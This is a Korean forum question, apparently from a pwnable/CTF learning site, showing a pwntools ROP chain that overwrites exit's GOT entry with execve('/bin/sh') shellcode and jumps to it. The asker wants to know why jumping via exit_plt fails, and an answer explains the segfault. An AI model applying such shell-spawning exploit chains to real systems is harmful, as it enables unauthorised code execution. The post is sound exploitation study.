got overwrite 후 plt호출

안녕하세요. 해당 문제를 풀기 위해서 RAO, ROP, GOT Overwrite 공격을 통해 문제를 풀이하던 중 궁금증이 생겨서 질문을 남깁니다.

payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_pop_r15) + p64(exit_got) + p64(0)
payload += p64(pop_rdx) + p64(len(shellcode))
payload += p64(read_plt)

payload += p64(exit_got)
# payload += p64(exit_plt)

# main의 read
sleep(0.5)
p.send(payload)

# ROP의 read
sleep(0.5)
p.send(shellcode)

p.interactive()

shellcraft.execve("/bin/sh", 0, 0)을 통해 쉘코드를 생성한 후, 위와 같이 exit_got에 GOT Overwrite를 해주었습니다.

이후, exit_got로 Return address를 조작하여 문제를 풀이할 수 있었는데,

여기서 주석친 코드처럼 exit_got가 아닌 exit_plt로 Return address를 조작하면 쉘코드가 실행되지 않는 이유가 무엇인가요?

exit_plt를 호출해도 결국 exit_got에 적힌 쉘코드를 수행할 것이라고 생각했는데, 안되는 이유가 아래의 두 이유 중 있을까요?

  1. exit_plt를 호출하면 인자를 설정하는 과정에서 문제가 생겨서 쉘코드가 정상적으로 실행되지 않는다.

  2. exit_plt를 통해 exit_got에 접근했을 때, exit_got에는 쉘코드의 주소가 저장되어있어야 하는데, 쉘코드의 instruction 자체가 저장되있기 때문에 쉘코드가 정상적으로 실행할 수 없다.

두 이유 모두 아니라면 exit_plt로는 쉘코드를 실행할 수 없는 이유를 설명해주신다면 정말 감사드리겠습니다.

#pwnable
작성자 정보
답변 1
qwerty_io
대표 업적 없음

2번이 맞습니다. exit_plt를 호출하는 경우, call [exit_got]와 사실상 동일하므로 exit_got에 들어있는 주소로 rip를 변경합니다. 하지만 앞의 read로 인해 exit_got에 shellcode instruction이 들어있으므로, 올바른 곳으로 이동하지 못하여 segfault가 나게 됩니다.

2024.09.23. 18:41
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기